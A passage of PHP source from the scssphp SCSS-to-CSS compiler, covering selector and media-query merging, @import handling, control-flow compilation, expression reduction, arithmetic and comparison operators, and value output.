array_unshift($merged, [$part1[0] . $part2[0]]);
$merged = array_merge($selectors1, $selectors2,
$merged);
} else {
$merged = array_merge($selectors1, [$part1],
$selectors2, [$part2], $merged);
}
break;
}
array_unshift($merged, $part1);
} while (! empty($selectors1) && ! empty($selectors2));
return $merged;
}
/**
* Merge media types
*
* @param array $type1
* @param array $type2
*
* @return array|null
*/
protected function mergeMediaTypes($type1, $type2)
{
if (empty($type1)) {
return $type2;
}
if (empty($type2)) {
return $type1;
}
$m1 = '';
$t1 = '';
if (count($type1) > 1) {
$m1= strtolower($type1[0]);
$t1= strtolower($type1[1]);
} else {
$t1 = strtolower($type1[0]);
}
$m2 = '';
$t2 = '';
if (count($type2) > 1) {
$m2 = strtolower($type2[0]);
$t2 = strtolower($type2[1]);
} else {
$t2 = strtolower($type2[0]);
}
if (($m1 === Type::T_NOT) ^ ($m2 === Type::T_NOT)) {
if ($t1 === $t2) {
return null;
}
return [
$m1 === Type::T_NOT ? $m2 : $m1,
$m1 === Type::T_NOT ? $t2 : $t1,
];
}
if ($m1 === Type::T_NOT && $m2 === Type::T_NOT) {
// CSS has no way of representing "neither screen nor
print"
if ($t1 !== $t2) {
return null;
}
return [Type::T_NOT, $t1];
}
if ($t1 !== $t2) {
return null;
}
// t1 == t2, neither m1 nor m2 are "not"
return [empty($m1)? $m2 : $m1, $t1];
}
/**
* Compile import; returns true if the value was something that could
be imported
*
* @param array $rawPath
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
* @param boolean $once
*
* @return boolean
*/
protected function compileImport($rawPath, OutputBlock $out, $once =
false)
{
if ($rawPath[0] === Type::T_STRING) {
$path = $this->compileStringContent($rawPath);
if ($path = $this->findImport($path)) {
if (! $once || ! in_array($path, $this->importedFiles))
{
$this->importFile($path, $out);
$this->importedFiles[] = $path;
}
return true;
}
return false;
}
if ($rawPath[0] === Type::T_LIST) {
// handle a list of strings
if (count($rawPath[2]) === 0) {
return false;
}
foreach ($rawPath[2] as $path) {
if ($path[0] !== Type::T_STRING) {
return false;
}
}
foreach ($rawPath[2] as $path) {
$this->compileImport($path, $out);
}
return true;
}
return false;
}
/**
* Compile child; returns a value to halt execution
*
* @param array $child
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
*
* @return array
*/
protected function compileChild($child, OutputBlock $out)
{
if (isset($child[Parser::SOURCE_LINE])) {
$this->sourceIndex = isset($child[Parser::SOURCE_INDEX]) ?
$child[Parser::SOURCE_INDEX] : null;
$this->sourceLine = isset($child[Parser::SOURCE_LINE]) ?
$child[Parser::SOURCE_LINE] : -1;
$this->sourceColumn = isset($child[Parser::SOURCE_COLUMN]) ?
$child[Parser::SOURCE_COLUMN] : -1;
} elseif (is_array($child) &&
isset($child[1]->sourceLine)) {
$this->sourceIndex = $child[1]->sourceIndex;
$this->sourceLine = $child[1]->sourceLine;
$this->sourceColumn = $child[1]->sourceColumn;
} elseif (! empty($out->sourceLine) && !
empty($out->sourceName)) {
$this->sourceLine = $out->sourceLine;
$this->sourceIndex = array_search($out->sourceName,
$this->sourceNames);
if ($this->sourceIndex === false) {
$this->sourceIndex = null;
}
}
switch ($child[0]) {
case Type::T_SCSSPHP_IMPORT_ONCE:
$rawPath = $this->reduce($child[1]);
if (! $this->compileImport($rawPath, $out, true)) {
$out->lines[] = '@import ' .
$this->compileValue($rawPath) . ';';
}
break;
case Type::T_IMPORT:
$rawPath = $this->reduce($child[1]);
if (! $this->compileImport($rawPath, $out)) {
$out->lines[] = '@import ' .
$this->compileValue($rawPath) . ';';
}
break;
case Type::T_DIRECTIVE:
$this->compileDirective($child[1]);
break;
case Type::T_AT_ROOT:
$this->compileAtRoot($child[1]);
break;
case Type::T_MEDIA:
$this->compileMedia($child[1]);
break;
case Type::T_BLOCK:
$this->compileBlock($child[1]);
break;
case Type::T_CHARSET:
if (! $this->charsetSeen) {
$this->charsetSeen = true;
$out->lines[] = '@charset ' .
$this->compileValue($child[1]) . ';';
}
break;
case Type::T_ASSIGN:
list(, $name, $value) = $child;
if ($name[0] === Type::T_VARIABLE) {
$flags = isset($child[3]) ? $child[3] : [];
$isDefault = in_array('!default', $flags);
$isGlobal = in_array('!global', $flags);
if ($isGlobal) {
$this->set($name[1], $this->reduce($value),
false, $this->rootEnv, $value);
break;
}
$shouldSet = $isDefault &&
(($result = $this->get($name[1], false)) ===
null
|| $result === static::$null);
if (! $isDefault || $shouldSet) {
$this->set($name[1], $this->reduce($value),
true, null, $value);
}
break;
}
$compiledName = $this->compileValue($name);
// handle shorthand syntax: size / line-height
if ($compiledName === 'font' || $compiledName ===
'grid-row' || $compiledName === 'grid-column') {
if ($value[0] === Type::T_VARIABLE) {
// if the font value comes from variable, the
content is already reduced
// (i.e., formulas were already calculated), so we
need the original unreduced value
$value = $this->get($value[1], true, null,
true);
}
$fontValue=&$value;
if ($value[0] === Type::T_LIST &&
$value[1]==',') {
// this is the case if more than one font is given:
example: "font: 400 1em/1.3 arial,helvetica"
// we need to handle the first list element
$fontValue=&$value[2][0];
}
if ($fontValue[0] === Type::T_EXPRESSION &&
$fontValue[1] === '/') {
$fontValue = $this->expToString($fontValue);
} elseif ($fontValue[0] === Type::T_LIST) {
foreach ($fontValue[2] as &$item) {
if ($item[0] === Type::T_EXPRESSION &&
$item[1] === '/') {
$item = $this->expToString($item);
}
}
}
}
// if the value reduces to null from something else then
// the property should be discarded
if ($value[0] !== Type::T_NULL) {
$value = $this->reduce($value);
if ($value[0] === Type::T_NULL || $value ===
static::$nullString) {
break;
}
}
$compiledValue = $this->compileValue($value);
$out->lines[] = $this->formatter->property(
$compiledName,
$compiledValue
);
break;
case Type::T_COMMENT:
if ($out->type === Type::T_ROOT) {
$this->compileComment($child);
break;
}
$out->lines[] = $child[1];
break;
case Type::T_MIXIN:
case Type::T_FUNCTION:
list(, $block) = $child;
$this->set(static::$namespaces[$block->type] .
$block->name, $block);
break;
case Type::T_EXTEND:
foreach ($child[1] as $sel) {
$results = $this->evalSelectors([$sel]);
foreach ($results as $result) {
// only use the first one
$result = current($result);
$this->pushExtends($result, $out->selectors,
$child);
}
}
break;
case Type::T_IF:
list(, $if) = $child;
if ($this->isTruthy($this->reduce($if->cond,
true))) {
return $this->compileChildren($if->children,
$out);
}
foreach ($if->cases as $case) {
if ($case->type === Type::T_ELSE ||
$case->type === Type::T_ELSEIF &&
$this->isTruthy($this->reduce($case->cond))
) {
return
$this->compileChildren($case->children, $out);
}
}
break;
case Type::T_EACH:
list(, $each) = $child;
$list =
$this->coerceList($this->reduce($each->list));
$this->pushEnv();
foreach ($list[2] as $item) {
if (count($each->vars) === 1) {
$this->set($each->vars[0], $item, true);
} else {
list(,, $values) = $this->coerceList($item);
foreach ($each->vars as $i => $var) {
$this->set($var, isset($values[$i]) ?
$values[$i] : static::$null, true);
}
}
$ret = $this->compileChildren($each->children,
$out);
if ($ret) {
if ($ret[0] !== Type::T_CONTROL) {
$this->popEnv();
return $ret;
}
if ($ret[1]) {
break;
}
}
}
$this->popEnv();
break;
case Type::T_WHILE:
list(, $while) = $child;
while ($this->isTruthy($this->reduce($while->cond,
true))) {
$ret = $this->compileChildren($while->children,
$out);
if ($ret) {
if ($ret[0] !== Type::T_CONTROL) {
return $ret;
}
if ($ret[1]) {
break;
}
}
}
break;
case Type::T_FOR:
list(, $for) = $child;
$start = $this->reduce($for->start, true);
$end = $this->reduce($for->end, true);
if (! ($start[2] == $end[2] || $end->unitless())) {
$this->throwError('Incompatible units:
"%s" and "%s".', $start->unitStr(),
$end->unitStr());
break;
}
$unit = $start[2];
$start = $start[1];
$end = $end[1];
$d = $start < $end ? 1 : -1;
for (;;) {
if ((! $for->until && $start - $d == $end)
||
($for->until && $start == $end)
) {
break;
}
$this->set($for->var, new Node\Number($start,
$unit));
$start += $d;
$ret = $this->compileChildren($for->children,
$out);
if ($ret) {
if ($ret[0] !== Type::T_CONTROL) {
return $ret;
}
if ($ret[1]) {
break;
}
}
}
break;
case Type::T_BREAK:
return [Type::T_CONTROL, true];
case Type::T_CONTINUE:
return [Type::T_CONTROL, false];
case Type::T_RETURN:
return $this->reduce($child[1], true);
case Type::T_NESTED_PROPERTY:
list(, $prop) = $child;
$prefixed = [];
$prefix = $this->compileValue($prop->prefix) .
'-';
foreach ($prop->children as $child) {
switch ($child[0]) {
case Type::T_ASSIGN:
array_unshift($child[1][2], $prefix);
break;
case Type::T_NESTED_PROPERTY:
array_unshift($child[1]->prefix[2],
$prefix);
break;
}
$prefixed[] = $child;
}
$this->compileChildrenNoReturn($prefixed, $out);
break;
case Type::T_INCLUDE:
// including a mixin
list(, $name, $argValues, $content) = $child;
$mixin =
$this->get(static::$namespaces['mixin'] . $name, false);
if (! $mixin) {
$this->throwError("Undefined mixin
$name");
break;
}
$callingScope = $this->getStoreEnv();
// push scope, apply args
$this->pushEnv();
$this->env->depth--;
$storeEnv = $this->storeEnv;
$this->storeEnv = $this->env;
// Find the parent selectors in the env to be able to know
what '&' refers to in the mixin
// and assign this fake parent to childs
$selfParent = null;
if (isset($child['selfParent']) &&
isset($child['selfParent']->selectors)) {
$selfParent = $child['selfParent'];
} else {
$parentSelectors =
$this->multiplySelectors($this->env);
if ($parentSelectors) {
$parent = new Block();
$parent->selectors = $parentSelectors;
foreach ($mixin->children as $k => $child) {
if (isset($child[1]) &&
is_object($child[1]) && $child[1] instanceof Block) {
$mixin->children[$k][1]->parent =
$parent;
}
}
}
}
// clone the stored content to not have its scope spoiled
by a further call to the same mixin
// i.e., recursive @include of the same mixin
if (isset($content)) {
$copyContent = clone $content;
$copyContent->scope = $callingScope;
$this->setRaw(static::$namespaces['special'] .
'content', $copyContent, $this->env);
}
if (isset($mixin->args)) {
$this->applyArguments($mixin->args, $argValues);
}
$this->env->marker = 'mixin';
$this->compileChildrenNoReturn($mixin->children,
$out, $selfParent, $this->env->marker . " " . $name);
$this->storeEnv = $storeEnv;
$this->popEnv();
break;
case Type::T_MIXIN_CONTENT:
$env = isset($this->storeEnv) ? $this->storeEnv :
$this->env;
$content =
$this->get(static::$namespaces['special'] .
'content', false, $env);
if (! $content) {
$content = new \stdClass();
$content->scope = new \stdClass();
$content->children =
$this->storeEnv->parent->block->children;
break;
}
$storeEnv = $this->storeEnv;
$this->storeEnv = $content->scope;
$this->compileChildrenNoReturn($content->children,
$out);
$this->storeEnv = $storeEnv;
break;
case Type::T_DEBUG:
list(, $value) = $child;
$fname = $this->sourceNames[$this->sourceIndex];
$line = $this->sourceLine;
$value = $this->compileValue($this->reduce($value,
true));
fwrite($this->stderr, "File $fname on line $line
DEBUG: $value\n");
break;
case Type::T_WARN:
list(, $value) = $child;
$fname = $this->sourceNames[$this->sourceIndex];
$line = $this->sourceLine;
$value = $this->compileValue($this->reduce($value,
true));
fwrite($this->stderr, "File $fname on line $line
WARN: $value\n");
break;
case Type::T_ERROR:
list(, $value) = $child;
$fname = $this->sourceNames[$this->sourceIndex];
$line = $this->sourceLine;
$value = $this->compileValue($this->reduce($value,
true));
$this->throwError("File $fname on line $line ERROR:
$value\n");
break;
case Type::T_CONTROL:
$this->throwError('@break/@continue not permitted
in this scope');
break;
default:
$this->throwError("unknown child type:
$child[0]");
}
}
/**
* Reduce expression to string
*
* @param array $exp
*
* @return array
*/
protected function expToString($exp)
{
list(, $op, $left, $right, /* $inParens */, $whiteLeft,
$whiteRight) = $exp;
$content = [$this->reduce($left)];
if ($whiteLeft) {
$content[] = ' ';
}
$content[] = $op;
if ($whiteRight) {
$content[] = ' ';
}
$content[] = $this->reduce($right);
return [Type::T_STRING, '', $content];
}
/**
* Is truthy?
*
* @param array $value
*
* @return boolean
*/
protected function isTruthy($value)
{
return $value !== static::$false && $value !==
static::$null;
}
/**
* Is the value a direct relationship combinator?
*
* @param string $value
*
* @return boolean
*/
protected function isImmediateRelationshipCombinator($value)
{
return $value === '>' || $value === '+' ||
$value === '~';
}
/**
* Should $value cause its operand to eval
*
* @param array $value
*
* @return boolean
*/
protected function shouldEval($value)
{
switch ($value[0]) {
case Type::T_EXPRESSION:
if ($value[1] === '/') {
return $this->shouldEval($value[2]) ||
$this->shouldEval($value[3]);
}
// fall-thru
case Type::T_VARIABLE:
case Type::T_FUNCTION_CALL:
return true;
}
return false;
}
/**
* Reduce value
*
* @param array $value
* @param boolean $inExp
*
* @return array|\Leafo\ScssPhp\Node\Number
*/
protected function reduce($value, $inExp = false)
{
switch ($value[0]) {
case Type::T_EXPRESSION:
list(, $op, $left, $right, $inParens) = $value;
$opName = isset(static::$operatorNames[$op]) ?
static::$operatorNames[$op] : $op;
$inExp = $inExp || $this->shouldEval($left) ||
$this->shouldEval($right);
$left = $this->reduce($left, true);
if ($op !== 'and' && $op !==
'or') {
$right = $this->reduce($right, true);
}
// special case: looks like css shorthand
if ($opName == 'div' && ! $inParens
&& ! $inExp && isset($right[2])
&& (($right[0] !== Type::T_NUMBER &&
$right[2] != '')
|| ($right[0] === Type::T_NUMBER && !
$right->unitless()))
) {
return $this->expToString($value);
}
$left = $this->coerceForExpression($left);
$right = $this->coerceForExpression($right);
$ltype = $left[0];
$rtype = $right[0];
$ucOpName = ucfirst($opName);
$ucLType = ucfirst($ltype);
$ucRType = ucfirst($rtype);
// this tries:
// 1. op[op name][left type][right type]
// 2. op[left type][right type] (passing the op as first
arg
// 3. op[op name]
$fn = "op${ucOpName}${ucLType}${ucRType}";
if (is_callable([$this, $fn]) ||
(($fn = "op${ucLType}${ucRType}") &&
is_callable([$this, $fn]) &&
$passOp = true) ||
(($fn = "op${ucOpName}") &&
is_callable([$this, $fn]) &&
$genOp = true)
) {
$coerceUnit = false;
if (! isset($genOp) &&
$left[0] === Type::T_NUMBER && $right[0]
=== Type::T_NUMBER
) {
$coerceUnit = true;
switch ($opName) {
case 'mul':
$targetUnit = $left[2];
foreach ($right[2] as $unit => $exp) {
$targetUnit[$unit] =
(isset($targetUnit[$unit]) ? $targetUnit[$unit] : 0) + $exp;
}
break;
case 'div':
$targetUnit = $left[2];
foreach ($right[2] as $unit => $exp) {
$targetUnit[$unit] =
(isset($targetUnit[$unit]) ? $targetUnit[$unit] : 0) - $exp;
}
break;
case 'mod':
$targetUnit = $left[2];
break;
default:
$targetUnit = $left->unitless() ?
$right[2] : $left[2];
}
if (! $left->unitless() && !
$right->unitless()) {
$left = $left->normalize();
$right = $right->normalize();
}
}
$shouldEval = $inParens || $inExp;
if (isset($passOp)) {
$out = $this->$fn($op, $left, $right,
$shouldEval);
} else {
$out = $this->$fn($left, $right, $shouldEval);
}
if (isset($out)) {
if ($coerceUnit && $out[0] ===
Type::T_NUMBER) {
$out = $out->coerce($targetUnit);
}
return $out;
}
}
return $this->expToString($value);
case Type::T_UNARY:
list(, $op, $exp, $inParens) = $value;
$inExp = $inExp || $this->shouldEval($exp);
$exp = $this->reduce($exp);
if ($exp[0] === Type::T_NUMBER) {
switch ($op) {
case '+':
return new Node\Number($exp[1], $exp[2]);
case '-':
return new Node\Number(-$exp[1], $exp[2]);
}
}
if ($op === 'not') {
if ($inExp || $inParens) {
if ($exp === static::$false || $exp ===
static::$null) {
return static::$true;
}
return static::$false;
}
$op = $op . ' ';
}
return [Type::T_STRING, '', [$op, $exp]];
case Type::T_VARIABLE:
return $this->reduce($this->get($value[1]));
case Type::T_LIST:
foreach ($value[2] as &$item) {
$item = $this->reduce($item);
}
return $value;
case Type::T_MAP:
foreach ($value[1] as &$item) {
$item = $this->reduce($item);
}
foreach ($value[2] as &$item) {
$item = $this->reduce($item);
}
return $value;
case Type::T_STRING:
foreach ($value[2] as &$item) {
if (is_array($item) || $item instanceof \ArrayAccess) {
$item = $this->reduce($item);
}
}
return $value;
case Type::T_INTERPOLATE:
$value[1] = $this->reduce($value[1]);
if ($inExp) {
return $value[1];
}
return $value;
case Type::T_FUNCTION_CALL:
return $this->fncall($value[1], $value[2]);
case Type::T_SELF:
$selfSelector = $this->multiplySelectors($this->env);
$selfSelector = $this->collapseSelectors($selfSelector,
true);
return $selfSelector;
default:
return $value;
}
}
/**
* Function caller
*
* @param string $name
* @param array $argValues
*
* @return array|null
*/
protected function fncall($name, $argValues)
{
// SCSS @function
if ($this->callScssFunction($name, $argValues, $returnValue)) {
return $returnValue;
}
// native PHP functions
if ($this->callNativeFunction($name, $argValues, $returnValue))
{
return $returnValue;
}
// for CSS functions, simply flatten the arguments into a list
$listArgs = [];
foreach ((array) $argValues as $arg) {
if (empty($arg[0])) {
$listArgs[] = $this->reduce($arg[1]);
}
}
return [Type::T_FUNCTION, $name, [Type::T_LIST, ',',
$listArgs]];
}
/**
* Normalize name
*
* @param string $name
*
* @return string
*/
protected function normalizeName($name)
{
return str_replace('-', '_', $name);
}
/**
* Normalize value
*
* @param array $value
*
* @return array
*/
public function normalizeValue($value)
{
$value = $this->coerceForExpression($this->reduce($value));
switch ($value[0]) {
case Type::T_LIST:
$value = $this->extractInterpolation($value);
if ($value[0] !== Type::T_LIST) {
return [Type::T_KEYWORD,
$this->compileValue($value)];
}
foreach ($value[2] as $key => $item) {
$value[2][$key] = $this->normalizeValue($item);
}
return $value;
case Type::T_STRING:
return [$value[0], '"',
[$this->compileStringContent($value)]];
case Type::T_NUMBER:
return $value->normalize();
case Type::T_INTERPOLATE:
return [Type::T_KEYWORD, $this->compileValue($value)];
default:
return $value;
}
}
/**
* Add numbers
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opAddNumberNumber($left, $right)
{
return new Node\Number($left[1] + $right[1], $left[2]);
}
/**
* Multiply numbers
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opMulNumberNumber($left, $right)
{
return new Node\Number($left[1] * $right[1], $left[2]);
}
/**
* Subtract numbers
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opSubNumberNumber($left, $right)
{
return new Node\Number($left[1] - $right[1], $left[2]);
}
/**
* Divide numbers
*
* @param array $left
* @param array $right
*
* @return array|\Leafo\ScssPhp\Node\Number
*/
protected function opDivNumberNumber($left, $right)
{
if ($right[1] == 0) {
return [Type::T_STRING, '', [$left[1] . $left[2] .
'/' . $right[1] . $right[2]]];
}
return new Node\Number($left[1] / $right[1], $left[2]);
}
/**
* Mod numbers
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opModNumberNumber($left, $right)
{
return new Node\Number($left[1] % $right[1], $left[2]);
}
/**
* Add strings
*
* @param array $left
* @param array $right
*
* @return array|null
*/
protected function opAdd($left, $right)
{
if ($strLeft = $this->coerceString($left)) {
if ($right[0] === Type::T_STRING) {
$right[1] = '';
}
$strLeft[2][] = $right;
return $strLeft;
}
if ($strRight = $this->coerceString($right)) {
if ($left[0] === Type::T_STRING) {
$left[1] = '';
}
array_unshift($strRight[2], $left);
return $strRight;
}
return null;
}
/**
* Boolean and
*
* @param array $left
* @param array $right
* @param boolean $shouldEval
*
* @return array|null
*/
protected function opAnd($left, $right, $shouldEval)
{
$truthy = ($left === static::$null || $right === static::$null) ||
($left === static::$false || $left === static::$true)
&&
($right === static::$false || $right === static::$true);
if (! $shouldEval) {
if (! $truthy) {
return null;
}
}
if ($left !== static::$false && $left !== static::$null) {
return $this->reduce($right, true);
}
return $left;
}
/**
* Boolean or
*
* @param array $left
* @param array $right
* @param boolean $shouldEval
*
* @return array|null
*/
protected function opOr($left, $right, $shouldEval)
{
$truthy = ($left === static::$null || $right === static::$null) ||
($left === static::$false || $left === static::$true)
&&
($right === static::$false || $right === static::$true);
if (! $shouldEval) {
if (! $truthy) {
return null;
}
}
if ($left !== static::$false && $left !== static::$null) {
return $left;
}
return $this->reduce($right, true);
}
/**
* Compare colors
*
* @param string $op
* @param array $left
* @param array $right
*
* @return array
*/
protected function opColorColor($op, $left, $right)
{
$out = [Type::T_COLOR];
foreach ([1, 2, 3] as $i) {
$lval = isset($left[$i]) ? $left[$i] : 0;
$rval = isset($right[$i]) ? $right[$i] : 0;
switch ($op) {
case '+':
$out[] = $lval + $rval;
break;
case '-':
$out[] = $lval - $rval;
break;
case '*':
$out[] = $lval * $rval;
break;
case '%':
$out[] = $lval % $rval;
break;
case '/':
if ($rval == 0) {
$this->throwError("color: Can't divide
by zero");
break 2;
}
$out[] = (int) ($lval / $rval);
break;
case '==':
return $this->opEq($left, $right);
case '!=':
return $this->opNeq($left, $right);
default:
$this->throwError("color: unknown op
$op");
break 2;
}
}
if (isset($left[4])) {
$out[4] = $left[4];
} elseif (isset($right[4])) {
$out[4] = $right[4];
}
return $this->fixColor($out);
}
/**
* Compare color and number
*
* @param string $op
* @param array $left
* @param array $right
*
* @return array
*/
protected function opColorNumber($op, $left, $right)
{
$value = $right[1];
return $this->opColorColor(
$op,
$left,
[Type::T_COLOR, $value, $value, $value]
);
}
/**
* Compare number and color
*
* @param string $op
* @param array $left
* @param array $right
*
* @return array
*/
protected function opNumberColor($op, $left, $right)
{
$value = $left[1];
return $this->opColorColor(
$op,
[Type::T_COLOR, $value, $value, $value],
$right
);
}
/**
* Compare number1 == number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opEq($left, $right)
{
if (($lStr = $this->coerceString($left)) && ($rStr =
$this->coerceString($right))) {
$lStr[1] = '';
$rStr[1] = '';
$left = $this->compileValue($lStr);
$right = $this->compileValue($rStr);
}
return $this->toBool($left === $right);
}
/**
* Compare number1 != number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opNeq($left, $right)
{
if (($lStr = $this->coerceString($left)) && ($rStr =
$this->coerceString($right))) {
$lStr[1] = '';
$rStr[1] = '';
$left = $this->compileValue($lStr);
$right = $this->compileValue($rStr);
}
return $this->toBool($left !== $right);
}
/**
* Compare number1 >= number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opGteNumberNumber($left, $right)
{
return $this->toBool($left[1] >= $right[1]);
}
/**
* Compare number1 > number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opGtNumberNumber($left, $right)
{
return $this->toBool($left[1] > $right[1]);
}
/**
* Compare number1 <= number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opLteNumberNumber($left, $right)
{
return $this->toBool($left[1] <= $right[1]);
}
/**
* Compare number1 < number2
*
* @param array $left
* @param array $right
*
* @return array
*/
protected function opLtNumberNumber($left, $right)
{
return $this->toBool($left[1] < $right[1]);
}
/**
* Three-way comparison, aka spaceship operator
*
* @param array $left
* @param array $right
*
* @return \Leafo\ScssPhp\Node\Number
*/
protected function opCmpNumberNumber($left, $right)
{
$n = $left[1] - $right[1];
return new Node\Number($n ? $n / abs($n) : 0, '');
}
/**
* Cast to boolean
*
* @api
*
* @param mixed $thing
*
* @return array
*/
public function toBool($thing)
{
return $thing ? static::$true : static::$false;
}
/**
* Compiles a primitive value into a CSS property value.
*
* Values in scssphp are typed by being wrapped in arrays, their format
is
* typically:
*
* array(type, contents [, additional_contents]*)
*
* The input is expected to be reduced. This function will not work on
* things like expressions and variables.
*
* @api
*
* @param array $value
*
* @return string
*/
public function compileValue($value)
{
$value = $this->reduce($value);
switch ($value[0]) {
case Type::T_KEYWORD:
return $value[1];
case Type::T_COLOR:
// [1] - red component (either number for a %)
// [2] - green component
// [3] - blue component
// [4] - optional alpha component
list(, $r, $g, $b) = $value;
$r = round($r);
$g = round($g);
$b = round($b);
if (count($value) === 5 && $value[4] !== 1) { //
rgba
$a = new Node\Number($value[4], '');
return 'rgba(' . $r . ', ' . $g .
', ' . $b . ', ' . $a . ')';
}
$h = sprintf('#%02x%02x%02x', $r, $g, $b);
// Converting hex color to short notation (e.g. #003399 to
#039)
if ($h[1] === $h[2] && $h[3] === $h[4] &&
$h[5] === $h[6]) {
$h = '#' . $h[1] . $h[3] . $h[5];
}
return $h;
case Type::T_NUMBER:
return $value->output($this);
case Type::T_STRING:
return $value[1] . $this->compileStringContent($value) .
$value[1];
case Type::T_FUNCTION:
$args = ! empty($value[2]) ?
$this->compileValue($value[2]) : '';
return "$value[1]($args)";
case Type::T_LIST:
$value = $this->extractInterpolation($value);
if ($value[0] !== Type::T_LIST) {
return $this->compileValue($value);
}
list(, $delim, $items) = $value;
if ($delim !== ' ') {
$delim .= ' ';
}
$filtered = [];
foreach ($items as $item) {
if ($item[0] === Type::T_NULL) {
continue;
}
$filtered[] = $this->compileValue($item);
}
return implode("$delim", $filtered);
case Type::T_MAP:
$keys = $value[1];
$values = $value[2];
$filtered = [];
for ($i = 0, $s = count($keys); $i < $s; $i++) {
$filtered[$this->compileValue($keys[$i])] =
$this->compileValue($values[$i]);
}
array_walk($filtered, function (&$value, $key) {
$value = $key . ': ' . $value;
});
return '(' . implode(', ', $filtered) .
')';
case Type::T_INTERPOLATED:
// node created by extractInterpolation
list(, $interpolate, $left, $right) = $value;
list(,, $whiteLeft, $whiteRight) = $interpolate;
$left = count($left[2]) > 0 ?
$this->compileValue($left) . $whiteLeft :
'';
$right = count($right[2]) > 0 ?
$whiteRight . $this->compileValue($right) :
'';
return $left . $this->compileValue($interpolate) .
$right;
case Type::T_INTERPOLATE:
// strip quotes if it's a string
$reduced = $this->reduce($value[1]);
switch ($reduced[0]) {
case Type::T_LIST:
$reduced =
$this->extractInterpolation($reduced);
if ($reduced[0] !== Type::T_LIST) {
break;
}
list(, $delim, $items) = $reduced;
if ($delim !== ' ') {
$delim .= ' ';
}
$filtered = [];
foreach ($items as $item) {
if ($item[0] === Type::T_NULL) {
continue;
}
$temp =
$this->compileValue([Type::T_KEYWORD, $item]);
if ($temp[0] === Type::T_STRING) {
$filtered[] =
$this->compileStringContent($temp);
} elseif ($temp[0] === Type::T_KEYWORD) {
$filtered[] = $temp[1];
} else {
$filtered[] =
$this->compileValue($temp);
}
}
$reduced = [Type::T_KEYWORD,
implode("$delim", $filtered)];
break;
case Type::T_STRING:
$reduced = [Type::T_KEYWORD,
$this->compileStringContent($reduced)];
break;
case Type::T_NULL:
$reduced = [Type::T_KEYWORD, ''];
}
return $this->compileValue($reduced);
case Type::T_NULL:
return 'null';
default:
$this->throwError("unknown value type:
$value[0]");
}
}
/**
* Flatten list
*
* @param array $list
*
* @return string
*/
protected function flattenList($list)
{
return $this->compileValue($list);
}
/**
* Compile string content
*
* @param array $string
*
* @return string
*/
protected function compileStringContent($string)
{
$parts = [];
foreach ($string[2] as $part) {
if (is_array($part) || $part instanceof \ArrayAccess) {
$parts[] = $this->compileValue($part);
} else {
$parts[] = $part;
}
}
return implode($parts);
}
/**
* Extract interpolation; it doesn't need to be recursive,
compileValue will handle that
*
* @param array $list
*
* @return array
*/
protected function extractInterpolation($list)
{
$items = $list[2];
foreach ($items as $i => $item) {
if ($item[0] === Type::T_INTERPOLATE) {
$before = [Type::T_LIST, $list[1], array_slice($items, 0,
$i)];
$after = [Type::T_LIST, $list[1], array_slice($items, $i +
1)];
return [Type::T_INTERPOLATED, $item, $before, $after];
}
}
return $list;
}
/**
* Find the final set of selectors
*
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param \Leafo\ScssPhp\Block $selfParent
*
* @return array
*/
protected function multiplySelectors(Environment $env, $selfParent =
null)
{
$envs = $this->compactEnv($env);
$selectors = [];
$parentSelectors = [[]];
$selfParentSelectors = null;
if (! is_null($selfParent) && $selfParent->selectors) {
$selfParentSelectors =
$this->evalSelectors($selfParent->selectors);
}
while ($env = array_pop($envs)) {
if (empty($env->selectors)) {
continue;
}
$selectors = $env->selectors;
do {
$stillHasSelf = false;
$prevSelectors = $selectors;
$selectors = [];
foreach ($prevSelectors as $selector) {
foreach ($parentSelectors as $parent) {
if ($selfParentSelectors) {
foreach ($selfParentSelectors as $selfParent) {
// if no '&' in the selector,
each call will give same result, only add once
$s = $this->joinSelectors($parent,
$selector, $stillHasSelf, $selfParent);
$selectors[serialize($s)] = $s;
}
} else {
$s = $this->joinSelectors($parent,
$selector, $stillHasSelf);
$selectors[serialize($s)] = $s;
}
}
}
} while ($stillHasSelf);
$parentSelectors = $selectors;
}
$selectors = array_values($selectors);
return $selectors;
}
/**
* Join selectors; looks for & to replace, or append parent before
child
*
* @param array $parent
* @param array $child
* @param boolean &$stillHasSelf
* @param array $selfParentSelectors
* @return array
*/
protected function joinSelectors($parent, $child, &$stillHasSelf,
$selfParentSelectors = null)
{
$setSelf = false;
$out = [];
foreach ($child as $part) {
$newPart = [];
foreach ($part as $p) {
// only replace & once and should be recalled to be
able to make combinations
if ($p === static::$selfSelector && $setSelf) {
$stillHasSelf = true;
}
if ($p === static::$selfSelector && ! $setSelf) {
$setSelf = true;
if (is_null($selfParentSelectors)) {
$selfParentSelectors = $parent;
}
foreach ($selfParentSelectors as $i => $parentPart)
{
if ($i > 0) {
$out[] = $newPart;
$newPart = [];
}
foreach ($parentPart as $pp) {
if (is_array($pp)) {
$flatten = [];
array_walk_recursive($pp, function ($a) use
(&$flatten) {
$flatten[] = $a;
});
$pp = implode($flatten);
}
$newPart[] = $pp;
}
}
} else {
$newPart[] = $p;
}
}
$out[] = $newPart;
}
return $setSelf ? $out : array_merge($parent, $child);
}
/**
* Multiply media
*
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param array $childQueries
*
* @return array
*/
protected function multiplyMedia(Environment $env = null, $childQueries
= null)
{
if (! isset($env) ||
! empty($env->block->type) &&
$env->block->type !== Type::T_MEDIA
) {
return $childQueries;
}
// plain old block, skip
if (empty($env->block->type)) {
return $this->multiplyMedia($env->parent, $childQueries);
}
$parentQueries = isset($env->block->queryList)
? $env->block->queryList
: [[[Type::T_MEDIA_VALUE, $env->block->value]]];
$store = [$this->env, $this->storeEnv];
$this->env = $env;
$this->storeEnv = null;
$parentQueries = $this->evaluateMediaQuery($parentQueries);
list($this->env, $this->storeEnv) = $store;
if ($childQueries === null) {
$childQueries = $parentQueries;
